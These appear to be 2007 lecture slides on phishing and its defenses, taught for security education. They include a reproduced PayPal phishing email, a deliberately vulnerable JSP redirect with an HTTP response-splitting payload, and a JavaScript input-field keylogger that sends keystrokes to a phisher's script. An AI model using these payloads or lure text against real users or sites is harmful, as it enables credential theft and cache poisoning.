Phishing

Spoofed emails
A Few Headlines

- “11.9 million Americans clicked on a phishing email in 2005”
- “Gartner estimates that the total financial losses attributable to phishing will total $2.8 bln in 2006”
- “Phishing and key-logging Trojans cost UK banks £12m”
- “Swedish bank hit by 'biggest ever' online heist”
  “Swedish Bank loses $1 Million through Russian hacker”
Welcome to MillerSmiles.co.uk! We are one of the internet's leading anti-phishing sites, maintaining a massive archive of phishing and identity theft email scams.

We are currently storing all scam reports with our Honeytrap database which is now available for commercial license. This database currently holds 155545 reports.

We also run a news service (headlines below) which brings you all the latest headlines from the world of fraudulent emails and phishing.

Latest Phishing News Headlines:
- Phishing Trend Continues
- Tax Phishing Scams
- Christmas phishing threats loom
- Phishing - A Tougher Art
- Google fixes security flaw
- Phishing Protection in Office SP2
- Yahoo! Hosting Phishing Sites
- Microsoft's Anti - Phishing Tool
- Spear-Phishing Phenomenon
- 'Phishing' Enters English Dictionary

Note: Fallen foul to a phishing scam? Lost money? Please contact us.

Tuesday 30th January, 2007

18 recent phishing scams

Chase Bank 29th January 2007
Chase Bank Warning
Chase 29th January 2007
Chase-Bank Urgent Notification
Regions Bank 29th January 2007
Further Account Authentication
Chase Bank 29th January 2007
Chase Bank Warning
Regions Bank 29th January 2007
Maintaining the trust of our customers!!
Egg Bank 29th January 2007
Egg Bank Attention ( Needed Update Your Bank Account Information )
eBay 28th January 2007
eBay
eBay 28th January 2007
Message from ebay Member
Hsbc Bank 28th January 2007
New Security Tips Alert
A Snapshot of a Friends Mailbox

Notification Of Limited Account Access

Dear PayPal Valued Customer,

PayPal is committed to maintaining a safe environment for its community of buyers and sellers. To prevent the misuse of your account, PayPal employs some of the most advanced security systems in the world and our anti-fraud teams regularly screen the PayPal system for unusual activity.

We are writing to remind you that on January 17, 2007 our Account Review Team identified some unusual activity in your account. In accordance with PayPal's User Agreement and to ensure that your account has not been compromised, access to your account was limited. Your account access will remain limited until this issue has been resolved.

In order to secure your account and quickly restore full access, we may require you to verify or update your Personal Information. If you choose to ignore our request, you leave us no choice but to temporarily suspend your account.

Click here to login and restore your account access.

Protect Your Account Info

Make sure you never provide your password to fraudulent websites.

To safely and securely access the PayPal website or your account, open a new web browser (e.g., Internet Explorer or Netscape) and type in the PayPal URL (https://www.paypal.com/row) to be sure you are on the real PayPal site.

PayPal will never ask you to enter your password in an email.

For more information on protecting yourself from fraud, please review our Security Tips at https://www.paypal.com/row/securitytips.

Protect Your Password

You should never give your PayPal password to anyone, including PayPal employees.

service@paypal.com
Typical Phishing Page

- Weird URL
- http instead of https
Or Even Like This
A Closer Look

From: “Wells Fargo” <aw-updateWells.Fargo.com@abm-tech.com>

What you’ll see on the page:

Where the link actually goes:

https://online.wellsfargo.com/signon?LOB=CONS


If you received this notice and you
And You End Up Here

2006 (must be an old snapshot)
Thank Goodness for IE 7.0 😊
Phishing Techniques

- Use confusing URLs

- Use URL with multiple redirection

- Host phishing sites on botnet zombies
  - Move from bot to bot using dynamic DNS

- Pharming
  - Poison DNS tables so that victim’s address (e.g., www.paypal.com) points to the phishing site
  - URL checking doesn’t help!
Bad Idea: Echoing User Input

- User input echoed in HTTP header
- For example, language redirect:
  ```java
  <% response.sendRedirect("/by_lang.jsp?lang=" +
    request.getParameter("lang") ) %>
  ```

- Browser sends
  ```
  http://.../by_lang.jsp ? lang=french
  ```

- Server responds
  ```
  HTTP/1.1 302 redirect
  Date: ... to here
  Location: /by_lang.jsp ? lang=french
  ```
HTTP Response Splitting

- Malicious user requests
  
  http://.../by_lang.jsp ? lang=
  "french 
  Content-length: 0 
  HTTP/1.1 200 OK
  <Encoded URL of phishing page>”

- Server responds:

  HTTP/1.1 302
  
  Date: ...
  Location: /by_lang.jsp ? lang= french
  Content-length: 0
  HTTP/1.1 200 OK
  Content-length: 217
  Looks like a separate page
  Phishing page
Why?

- Attacker submitted a URL to victim.com
- Response from victim.com contains phishing page
- All cache servers along the path will store the phishing page as the cache of victim.com
- If an unsuspecting user of the same cache server requests victim.com, server will give him the cached phishing page instead
Trusted Input Path Problem

- Users are easily tricked into entering passwords into insecure non-password fields

```html
<input type="text" name="spoof"
    onKeyPress="(new Image()).src=
        'keylogger.php?key=' +
        String.fromCharCode(event.keyCode);
    event.keyCode = 183;">

Sends keystroke to phisher
Changes character to *
Social Engineering Tricks

- Create a bank page advertising an interest rate slightly higher than any real bank; ask users for their credentials to initiate money transfer
  - Some victims provided their bank account numbers to “Flintstone National Bank” of “Bedrock, Colorado”

- Exploit social network
  - Spoof an email from a Facebook or MySpace friend
    - Read Jan 29 WSJ article about MySpace hack
  - In a West Point experiment, 80% of cadets were deceived into following an embedded link regarding their grade report from a fictitious colonel
Experiments at Indiana University

- Reconstructed social network by crawling sites like Facebook, MySpace, LinkedIn and Friendster
- Sent 921 Indiana University students spoofed email (apparently from their friend)
- Email redirected to spoofed site asking user to enter his/her secure university credentials
  - Domain name clearly distinct from indiana.edu
- 72% of students entered real credentials
  - Males more likely if email sender is female

[Jagatic et al.]
Victims’ Reactions (1)

Anger
- Subjects called the experiment unethical, inappropriate, illegal, unprofessional, fraudulent, self-serving, useless
- Called for researchers conducting the study to be fired, prosecuted, expelled, or reprimanded

Denial
- No posted comments with admission that writer was victim of attack
- Many posts stated that poster did not and would never fall for such an attack, and they were speaking on behalf of friends who had been phished

[Jagatic et al.]
Victims’ Reactions (2)

- Misunderstanding
  - Many subjects were convinced that the experimenters hacked into their email accounts. They believed it was the only possible explanation for the spoofed messages.

- Underestimation of privacy risks
  - Many subjects didn’t understand how the researchers obtained information about their friends, and assumed that the researchers accessed their address books.
  - Others, understanding that the information was mined from social network sites, objected that their privacy had been violated by the researchers who accessed the information that they had posted online.

[Jagatic et al.]
Defense #1: Internet Explorer 7.0

- “White list” of trusted sites
- Other URLs sent to Microsoft
  Responds with “Ok” or “Phishing!”
Defense #2: PassMark / SiteKey

If you don’t recognize your personalized SiteKey, don’t enter your Passcode.
Defense #3: PIN Guard

Use your mouse to click the number, or use your keyboard to type the letters.
Defense #3A: Scramble Pad

Enter access code by typing letters from randomly generated Scramble Pad.
Defense #4: Virtual Keyboard

Use your mouse to select characters from the virtual keyboard
Microsoft Passport

- Idea: Authenticate once, use everywhere
- Trusted third party issues identity credentials
- User uses them to access services over the Web
History of Passport

- Launched in 1999
  - 2002, Microsoft claims > 200M accounts, 3.5 billion authentications each month

- Passport: Early Glitches
  - Flawed password reset procedure
  - Cross-scripting attack

- Current status
  - From Directory of Sites at http://www.passport.net: “We have discontinued our Site Directory ...”
  - Monster.com dropped support in October 2004
  - eBay dropped support in January 2005
  - Seems to be fizzling out
Liberty Alliance

- Open-standard alternative to Passport
- Promises compliance with privacy legislation
- Long list of Liberty-enabled products

http://www.projectliberty.org
Defenses

- Use mutual authentication
- Non-Reusable credentials
  (not sufficient against man-in-the-middle attacks)

- Basic technical mechanism available
- Human interaction with these is a challenge!
- Security is a systems problem